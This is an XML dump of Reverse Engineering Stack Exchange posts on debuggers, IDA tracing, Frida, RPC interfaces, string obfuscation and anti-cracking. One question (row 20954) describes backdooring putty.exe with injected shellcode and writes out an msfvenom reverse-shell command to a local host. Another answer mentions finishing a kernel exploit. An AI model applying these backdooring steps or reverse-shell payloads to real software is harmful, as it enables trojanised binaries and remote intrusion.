  <row Id="20952" PostTypeId="2" ParentId="20941" CreationDate="2019-03-24T12:36:03.807" Score="4" Body="&lt;p&gt;Here’s a port of Apple’s &lt;code&gt;cctools&lt;/code&gt; to Linux, it should include &lt;code&gt;lipo&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/tpoechtrager/cctools-port&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/tpoechtrager/cctools-port&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-03-24T12:36:03.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20953" PostTypeId="2" ParentId="20232" CreationDate="2019-03-24T19:48:39.573" Score="-1" Body="&lt;p&gt;You can find files File1.bin ... File6.bin in &quot;C:\temp&quot; directory after running IsatPhone 2 Firmware Upgrade Tool and selecting firmware. It does not need a connection to physical device, just firmware and tool.Unfortunately you can't decrypt these files in contrast to &quot;IsatPhone Pro&quot; model in which files were not encrypted. &lt;/p&gt;&#xA;" OwnerUserId="24877" LastActivityDate="2019-03-24T19:48:39.573" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20954" PostTypeId="1" CreationDate="2019-03-24T21:08:54.083" Score="0" ViewCount="288" Body="&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;:&#xA;I have posted this poste at &lt;a href=&quot;https://security.stackexchange.com/q/205990/66973&quot;&gt;security.stackexchange&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to follow &lt;a href=&quot;https://www.exploit-db.com/docs/english/42061-introduction-to-manual-backdooring.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; to backdoor a simple 32bits PE binary (putty.exe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The method used is to create a new section (named &lt;code&gt;.test&lt;/code&gt;) containing some shellcode, changing the first CALL instruction to JMP on it, executing it, and JMPing back to the original address the first CALL instruction contained before change for JMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First part is adding new section, and I am OK with it (done with LordPE). Here are its caracteristics:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name    VOffset    VSize     ROffset   RSize    Flags&#xA;.test   00110000   00001000  00106E00  00001000 E0000060&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;immunity&lt;/code&gt;, I have loaded &lt;code&gt;putty.exe&lt;/code&gt;. Memory view shows me that &lt;code&gt;.test&lt;/code&gt; section is getting mapped at address 00510000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the first instructions being launched:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7D4D1512 PUSH EAX&#xA;0046F346 CALL putty. &amp;lt;--- I changed this for JMP putty.00510000&#xA;0046F34B JMP putty.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Debug mode JMP indeed to 00510000 ! So I copy/paste the payload at this place and debug again: payload created via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f hex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I save the binary an re-launch immunity to debug it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7D4D1512 PUSH EAX&#xA;0046F346 JMP putty.00510000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But JMP occurs now at the very end of the shellcode ! At 0051008E !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feeling the beginning of the section with NOP does not change the behavior (always at the end of the shellcode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it possible to force the execution flow to the beginning of my shellcode instead ? As no one seems to have encountered this trouble, I suppose I missed some basics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The document explains how the address is getting calculating like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Next step is to hijack the first instruction by jumping to our new section,&#xA;for that we need the RVA for both the .test section, first CALL instruction&#xA;and address of the next instruction.&#xA;&#xA;001C9DE6 &amp;gt; $ E8 15770000 CALL PsExec_b.001D1500&#xA;001C9DEB .^E9 7BFEFFFF JMP PsExec_b.001C9C6B&#xA;&#xA;RVA of 001D1500 is RVA_11500. RVA of 001C9DEB is RVA_9DEB, RVA of .test is RVA_7D0000.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea how he gets from 001D1500 to 11500 and what is the 1C0000 gap between these two values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for you help understanding this point;&lt;/p&gt;&#xA;" OwnerUserId="27910" LastActivityDate="2019-03-29T15:05:57.527" Title="how to get address of PE section to jump in while backdooring PE binary" Tags="|pe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20955" PostTypeId="1" CreationDate="2019-03-24T21:11:44.023" Score="1" ViewCount="172" Body="&lt;p&gt;When I use the ollydbg run trace I don't seem to he getting every single line as I expect to. First off let me explain what Iexpect to see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address hexDumb Command comments EAX ECX etc...&#xA;0042AD43 BLAH JNZ 00112345 somecomment 01010101 10101010... etc....&#xA;0042AD48 FLAH XOR EAX, ECX anothercomment 01010101 10101010... etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially each line from the CPU window, all of the data that you see for each line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I step into each command by hand in ollydbg then I get to see each command of the thousands that are executed. However when I use the run trace I get a hand ful of commands, somewhere in the range of 50 commands.&lt;/p&gt;&#xA;" OwnerUserId="27465" LastActivityDate="2019-03-24T21:11:44.023" Title="Getting a full trace (every line) from ollydbg" Tags="|ollydbg|tracing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20957" PostTypeId="1" CreationDate="2019-03-25T02:32:49.433" Score="1" ViewCount="747" Body="&lt;p&gt;I ran an ida script and forgot to account for an infinite loop that keeps making a dialog pop up. Is there any keyboard command that will stop an Ida script from running mid execution? Thank you. I'm using Ida Freeware 7.0&lt;/p&gt;&#xA;" OwnerUserId="27554" LastActivityDate="2020-01-23T06:02:00.320" Title="Stop currently running Ida Script mid execution" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20959" PostTypeId="2" ParentId="14604" CreationDate="2019-03-25T19:14:08.257" Score="1" Body="&lt;p&gt;It's way simpler than you'd think.&#xA;461EE300 is the relative offset to your variable. The relative offset needs to be added to the rip-register. And you already have the value of the rip-register. It's the address of the pattern you found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So simply add the address of your pattern with 461EE300 and you have your variable.&lt;/p&gt;&#xA;" OwnerUserId="27921" LastActivityDate="2019-03-25T19:14:08.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20960" PostTypeId="1" CreationDate="2019-03-25T19:19:37.397" Score="0" ViewCount="102" Body="&lt;p&gt;I compile code below use library Cydia Substrate, and run on a test application, and it works Android 4.4, 5.1, 6.0, 7.0, 7.1. But on Android 8.0+ application does not work with this code, why is that? Why hook does not work in own process?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;jni.h&amp;gt;&#xA;#include &amp;lt;CydiaSubstrate.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;long baseAddr(char *soname) //find base address&#xA;{&#xA;    void *imagehandle = dlopen(soname, RTLD_LOCAL | RTLD_LAZY);&#xA;    if (soname == NULL)&#xA;        return NULL;&#xA;    if (imagehandle == NULL){&#xA;        return NULL;&#xA;    }&#xA;    uintptr_t * irc = NULL;&#xA;    FILE *f = NULL;&#xA;    char line[200] = {0};&#xA;    char *state = NULL;&#xA;    char *tok = NULL;&#xA;    char * baseAddr = NULL;&#xA;    if ((f = fopen(&quot;/proc/self/maps&quot;, &quot;r&quot;)) == NULL)&#xA;        return NULL;&#xA;    while (fgets(line, 199, f) != NULL)&#xA;    {&#xA;        tok = strtok_r(line, &quot;-&quot;, &amp;amp;state);&#xA;        baseAddr = tok;&#xA;        tok = strtok_r(NULL, &quot;\t &quot;, &amp;amp;state);&#xA;        tok = strtok_r(NULL, &quot;\t &quot;, &amp;amp;state); // &quot;r-xp&quot; field&#xA;        tok = strtok_r(NULL, &quot;\t &quot;, &amp;amp;state); // &quot;0000000&quot; field&#xA;        tok = strtok_r(NULL, &quot;\t &quot;, &amp;amp;state); // &quot;01:02&quot; field&#xA;        tok = strtok_r(NULL, &quot;\t &quot;, &amp;amp;state); // &quot;133224&quot; field&#xA;        tok = strtok_r(NULL, &quot;\t &quot;, &amp;amp;state); // path field&#xA;&#xA;        if (tok != NULL) {&#xA;            int i;&#xA;            for (i = (int)strlen(tok)-1; i &amp;gt;= 0; --i) {&#xA;                if (!(tok[i] == ' ' || tok[i] == '\r' || tok[i] == '\n' || tok[i] == '\t'))&#xA;                    break;&#xA;                tok[i] = 0;&#xA;            }&#xA;            {&#xA;                size_t toklen = strlen(tok);&#xA;                size_t solen = strlen(soname);&#xA;                if (toklen &amp;gt; 0) {&#xA;                    if (toklen &amp;gt;= solen &amp;amp;&amp;amp; strcmp(tok + (toklen - solen), soname) == 0) {&#xA;                        fclose(f);&#xA;                        return (long)strtoll(baseAddr,NULL,16);&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;    fclose(f);&#xA;    return NULL;&#xA;}&#xA;&#xA;long location;&#xA;&#xA;long RealOffset(long offset)&#xA;{&#xA;    if (location == 0)&#xA;    {&#xA;&#xA;        location = baseAddr(&quot;/data/app/com.test.test-1/lib/arm/libtest.so&quot;);&#xA;        if (location == 0)&#xA;        {&#xA;&#xA;            location = baseAddr(&quot;/data/app-lib/com.test.test-1/libtest.so&quot;);&#xA;        }&#xA;    }&#xA;    return location + offset;&#xA;}&#xA;&#xA;void orig_func(void*);&#xA;void hook_func(void*){&#xA;    return;&#xA;}&#xA;&#xA;__attribute__((constructor))&#xA;void main() {&#xA;    MSHookFunction((void *) RealOffset(0x1234C), (void *) &amp;amp;hook_func, (void **) &amp;amp;orig_func); //replace the function&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23697" LastEditorUserId="23697" LastEditDate="2019-03-25T19:26:21.220" LastActivityDate="2019-03-25T19:26:21.220" Title="What changed after Android 8.0?" Tags="|android|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20961" PostTypeId="1" CreationDate="2019-03-25T19:45:39.457" Score="0" ViewCount="363" Body="&lt;p&gt;I can't disassemble .mbn files using ida pro 7+ if I use some scripts from GitHub than I can't disassemble any function, any help ?&#xA;I want to reverse qcom bootloader&lt;/p&gt;&#xA;" OwnerUserId="27920" LastActivityDate="2019-03-25T19:45:39.457" Title="How to disassemble .mbn files?" Tags="|ida|disassembly|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20963" PostTypeId="2" ParentId="20768" CreationDate="2019-03-26T14:50:58.373" Score="1" Body="&lt;p&gt;What I found out until now is that according to the Intel manual, even though &lt;code&gt;SMEP&lt;/code&gt; bit is 0, if any entry in the process of going through page tables have &lt;code&gt;execute disable&lt;/code&gt; bit set, it won't execute. This is the case when allocating RWX memory from standard user (medium IL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't figure out whether this is a problem of my testing environment or some kind of mitigation, but manage to finish writing the exploit by mapping executable memory in the kernel and copy the shellcode there.&lt;/p&gt;&#xA;" OwnerUserId="3461" LastActivityDate="2019-03-26T14:50:58.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20964" PostTypeId="1" AcceptedAnswerId="20970" CreationDate="2019-03-26T19:41:27.910" Score="-3" ViewCount="171" Body="&lt;p&gt;Say I wrote an application and published demo version of it with a possibility to buy a full version. I was wondering if it is possible to stop people from cracking it, so that the only ones who use it are those who actually paid for it.&#xA;Is it possible to achieve? If not, what are the best known techniques used to obstruct cracking?&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-03-27T14:03:24.873" Title="Defence against cracking" Tags="|exploit|patching|" AnswerCount="1" CommentCount="1" ClosedDate="2019-04-12T19:26:54.967" ContentLicense="CC BY-SA 4.0" />
  <row Id="20965" PostTypeId="1" AcceptedAnswerId="20999" CreationDate="2019-03-27T04:18:34.283" Score="3" ViewCount="1502" Body="&lt;p&gt;Suppose that I have a certain Windows service that I know exposes a local RPC interface. I want to create a client program that calls into these procedures; however, I do not have the source code for the service application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can use Process Explorer to get the name of the server's ALPC handle under &lt;code&gt;\RPC Control&lt;/code&gt;, and I guess that this handle could be used to create a binding string which would allow my client to connect to the server. This should hopefully solve the connection part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how should I go on about defining the actual RPC interface for my client to get code executed on the server? I would first need to identify remote procedures and the arguments that they take, and then code a proper client. My guess is that I should write an idl file that somehow fits with the service, and then compile it using midl compiler with an appropriate configuration. Is this the best strategy or would someone with more experience suggest something else? What are the most efficient techniques or tools to enumerate and reverse engineer RPC interfaces? Is reversing even necessary? Does anyone has some experience they could share about this?&lt;/p&gt;&#xA;" OwnerUserId="25972" LastEditorUserId="245" LastEditDate="2019-03-30T08:06:36.530" LastActivityDate="2023-11-18T14:46:51.507" Title="How can I enumerate and hook into a Windows 10 RPC interface?" Tags="|windows|windows-10|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20967" PostTypeId="1" CreationDate="2019-03-27T07:28:21.923" Score="4" ViewCount="610" Body="&lt;p&gt;I want to use pwntools with Radare2, since this is my debugger of choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can only find GDB-related library calls in pwntools' documentation (pwnlib.gdb).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with experience in integration Radare2 with pwntools?&lt;/p&gt;&#xA;" OwnerUserId="25753" LastActivityDate="2022-05-12T15:39:43.343" Title="Does pwntools provide any Radare2 integration?" Tags="|debugging|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20968" PostTypeId="2" ParentId="20965" CreationDate="2019-03-27T09:17:47.817" Score="3" Body="&lt;p&gt;For analysing RPC I use &lt;a href=&quot;http://www.openrce.org/downloads/details/186/mIDA&quot; rel=&quot;nofollow noreferrer&quot;&gt;mIDA&lt;/a&gt;:&#xA;mIDA is a plugin for the IDA disassembler that can extract RPC interfaces from a binary file and recreate the associated IDL definition. mIDA is free and fully integrates with the latest version of IDA (5.2 or later).&#xA;Note that mIDA doesn't work with most recent version (64 bit version) of IDA but requires 32 bit version (6.95 is the latest version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin can be used to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;* Navigate to RPC functions in IDA&#xA;* Analyze RPC function arguments&#xA;* Understand RPC structures&#xA;* Reconstruct an IDL definition file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The IDL code generated by mIDA can be, most of the time, recompiled with the MIDL compiler from Microsoft (midl.exe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mIDA is freely distributed to the community by Tenable in the hope it will be useful to you and help research engineers to work more effectively on RPC programs. However, Tenable does not provide support for this tool and offers no guarantee regarding its use or output. Please read the end-user license agreement before using this program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7kWfI.png&quot; alt=&quot;Sample output of mIDA&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2019-03-27T09:17:47.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20970" PostTypeId="2" ParentId="20964" CreationDate="2019-03-27T14:03:24.873" Score="3" Body="&lt;p&gt;Your question is very lacking as it is very very broad. To give a &lt;em&gt;precise answer&lt;/em&gt; one would have to know details such as what programming language and toolchain you are using to write your software and what platforms you are targeting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are asking is virtually impossible to achieve unless you find some means make vital parts of your program inaccessible to the user/customer; such as on a hardware token, for example. This kind of token should be hard to duplicate and would be the thing only your paying customers have. The token could also make use of modern asymmetric cryptography, but that would likely be impractical as I can only conceive of a scenario where your software needs to know the public key to the secret ones stored on each of these tokens. &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/247/245&quot;&gt;Additional reading ...&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you can already tell that I am suggesting a hardware dongle here. But there is an alternative that can work as well depending on what your software does and what the requirements of the users are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the software can &quot;outsource&quot; some aspects of its functionality to a server under your sole control, then your program need not contain the full functionality. In such a case the server would verify some token/lease (a kind of code or subscription key, if you will) that can contain strongly encrypted data as long as only the server has the secret key to decrypt that data and verify the validity of the token/lease. Once verified, the server would perform the vital function of your program and merely send back the result. Problem here is that you have to design an API that cannot be abused by others to coerce the server into sending results to parties that are not paying customers of yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any offline method will require a hardware solution as outlined before. And only within the outlined constraints will this be an effective protection. And even then there is a slim chance someone figures out how to clone the hardware and the software on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I think you might want to consider a few things before pursuing your desire for protection against :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is your software worth the hassle?&lt;/li&gt;&#xA;&lt;li&gt;How widely used is your software?&lt;/li&gt;&#xA;&lt;li&gt;How intrusive is the protection scheme you sign up for?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For example I am not willing to have some piece of software phone home at will. Similarly I'd have reservations about being given a hardware token, because if I lose it or it gets stolen or destroyed I may be facing several days of idling because that's how long it takes you to ship me a replacement. So &lt;em&gt;if&lt;/em&gt; your software is so indispensable you will want to keep in mind the needs of the (paying) customers especially.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Are you thinking more about &quot;software pirates&quot; than about your customers?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The effort you spend in a possibly futile attempt to protect your software from &quot;piracy&quot; is time you don't spend improving it for paying customers.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Long story short: either you trust your customers in which case you can forget about truly secure means to protect your software. All of the means you have at your disposal in such a case are deterrents but will not ultimately stop a determined cracker (&lt;a href=&quot;https://en.wikipedia.org/wiki/Security_through_obscurity&quot; rel=&quot;nofollow noreferrer&quot;&gt;security by obscurity&lt;/a&gt;). If you don't trust your users/customers you &lt;em&gt;must&lt;/em&gt; ensure that vital parts of your program are not accessible to them (e.g. stored on a hardware dongle or on some remote server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider IDA, the disassembler, one of the tools indispensable to a lot of us here on this site. To the best of my knowledge they use watermarking and the installer is protected by a password. The watermark will ensure that it's possible to trace back whose copy got compromised. But even in such a case not every leak can be attributed to the customer who paid for it. Some years back a disgruntled (ex-)employee of ESET leaked the IDA copy along with the decompiler plugin, for example. Hardly anything ESET could have done about that. The only deterrent for these cases is legal action that will hopefully deter future would-be delinquents from attempting something similar.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2019-03-27T14:03:24.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20972" PostTypeId="1" CreationDate="2019-03-27T18:19:38.477" Score="0" ViewCount="162" Body="&lt;p&gt;Is there a way to perform class verification on dex or smali files before the apk is pushed to the android device? &lt;/p&gt;&#xA;" OwnerUserId="27947" LastActivityDate="2019-03-27T18:41:03.680" Title="Is there a way to perform dex/smali/android class verification on linux or mac?" Tags="|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20973" PostTypeId="2" ParentId="20972" CreationDate="2019-03-27T18:41:03.680" Score="3" Body="&lt;p&gt;The only way I'm aware of is to build art for the host and load/run the dex file with that. I don't have specific steps/info handy, but the android build process normally builds a host build of art, for dex pre-oating, and you should be able to use that to verify your dex file.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2019-03-27T18:41:03.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20974" PostTypeId="2" ParentId="20957" CreationDate="2019-03-27T21:17:19.033" Score="1" Body="&lt;p&gt;This is probably unhelpful, but one way to handle that is to build something into your IDA script that will gracefully handle termination. The difficulty is not in whether IDA will allow you to kill the popup but in regaining focus on the IDA window. When I tried it just now on a generic infinite loop, IDA pops up a dialog that says &quot;Running script&quot; and you can click &quot;Cancel&quot; to end it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the infinite loop, make sure that you use a dialog that allows you to kill the script - use either a custom dialog or use something like idc.AskYN(), and then build in a hook that kills the script on use of a particular input. &lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2019-03-27T21:17:19.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20975" PostTypeId="1" CreationDate="2019-03-28T01:39:30.793" Score="3" ViewCount="11070" Body="&lt;p&gt;Why is the &lt;code&gt;frida&lt;/code&gt; command not available on the command line.&#xA;After I install Frida by running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pip install --user frida&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like the installation was successful, but when I run the &lt;code&gt;frida&lt;/code&gt; command the system cannot find it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ frida&#xA;frida: command not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the Python PIP package for Frida broken?&lt;/p&gt;&#xA;" OwnerUserId="27950" LastActivityDate="2021-07-01T17:46:48.710" Title="Frida command not available after installing Frida PIP Python package" Tags="|frida|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20976" PostTypeId="2" ParentId="20975" CreationDate="2019-03-28T01:39:30.793" Score="6" Body="&lt;p&gt;Frida was split into two PIP packages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The package &lt;code&gt;frida&lt;/code&gt; only contains the python bindings, while &lt;code&gt;frida-tools&lt;/code&gt; also contains the familiar command line tools from earlier releases.&lt;br&gt;&#xA;This is explained in &lt;a href=&quot;https://frida.re/news/2018/07/12/frida-12-0-released/&quot; rel=&quot;noreferrer&quot;&gt;the news post for the 12.0 release&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;CLI tools&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;One thing that caused a bit of confusion in the past was the fact that&#xA;  our Python bindings also came with some CLI tools. Frida is a toolkit&#xA;  for building tools, and even though we provide a few sample tools it&#xA;  should be up to you if you want to have them installed.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Up until now this meant anyone building a tool using our Python&#xA;  bindings would end up depending on colorama, prompt-toolkit, and&#xA;  pygments, because our CLI tools happen to depend on those.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Well, that changes now. If you do:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;$ pip install frida&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You will now only get our Python bindings. Nothing more. And this&#xA;  package has zero dependencies.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The CLI tools might still be useful to you, though, so to install&#xA;  those do:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;$ pip install frida-tools&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27950" LastActivityDate="2019-03-28T01:39:30.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20977" PostTypeId="1" CreationDate="2019-03-28T01:57:58.563" Score="0" ViewCount="1109" Body="&lt;p&gt;I need to get data from the window of the external program. This data is dynamic and changes each time the additional window is restarted. I have already found an offset, but I need to find the register of ecx that comes into my function from another function. I try to trace which function calls the function I need, it usually worked for other programs. But now when i trace the functions the trace lagging and stops. I set a breakpoint when creating the window to see all the actions that occur. I have an idea that the tracing stops, because in this program a lot of things work through additional Qt5 libraries as example Qt5Core.dll.&lt;a href=&quot;https://i.stack.imgur.com/n2BC3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n2BC3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27951" LastActivityDate="2019-03-28T10:32:09.833" Title="IDA PRO Tracing stopps" Tags="|ida|disassembly|debugging|tracing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20978" PostTypeId="1" AcceptedAnswerId="20979" CreationDate="2019-03-28T06:23:49.970" Score="1" ViewCount="544" Body="&lt;p&gt;I know that there is a string called &quot;Activate your subscription&quot; used in this particular app. But Im not able to find this string from its executable. I tried &lt;code&gt;strings myapp&lt;/code&gt; and also searched for same string with Hopper disassembler but it both haven't found location of that string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question what am I missing here and is this some kind of obfuscation used by these apps ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image of a screen in this particular mac app where &quot;Activate your subscription&quot; string is used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XqMLk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqMLk.png&quot; alt=&quot;Mac App&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After Searching for &quot;Activate&quot; string in Hopper&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZNiPe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZNiPe.png&quot; alt=&quot;Hopper&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20572" LastActivityDate="2019-03-28T08:33:43.470" Title="Not able to find Hard coded strings in the mac executable file" Tags="|patch-reversing|strings|hopper|macos|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20979" PostTypeId="2" ParentId="20978" CreationDate="2019-03-28T08:05:36.157" Score="4" Body="&lt;p&gt;Some binaries hide the string on base64, with basic encryption algorithms rc4 or even with xor just for avoid what you are trying to achieve. Depending on the design of the owner of the binary you can find this types of techniques on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example instead of do this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const char *msg = &quot;Good morning&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const char *msg = &quot;R29vZCBtb3JtaW5nCg==&quot;; /* base64 of 'Good morning' */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and on every use of msg you just call a base64 decode function and that's how works in a very basic environment. You can use RC4, Xor or any other encryption algorithm for hide the strings, but bear in mind that somebody with experience will find the way to decode the string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(&quot;My message is %s\n&quot;, decode64(msg));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25705" LastEditorUserId="25705" LastEditDate="2019-03-28T08:33:43.470" LastActivityDate="2019-03-28T08:33:43.470" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20980" PostTypeId="2" ParentId="20977" CreationDate="2019-03-28T10:32:09.833" Score="1" Body="&lt;p&gt;By default tracing is limited to reduce its overhead: it stops once it goes to a location not in the current database (external modules, runtime-allocated memory etc.), as well as functions marked as library code. You can change this behavior in &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1451.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;tracing options&lt;/a&gt; (disable the “trace over” checkboxes). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in some cases IDA may be unable to trace the execution even if you ask it to trace everything. For example, it is unable to trace any kernel code, as well as user code that is called by the kernel indirectly (e.g. window procedures, exception handlers and so on)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-03-28T10:32:09.833" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
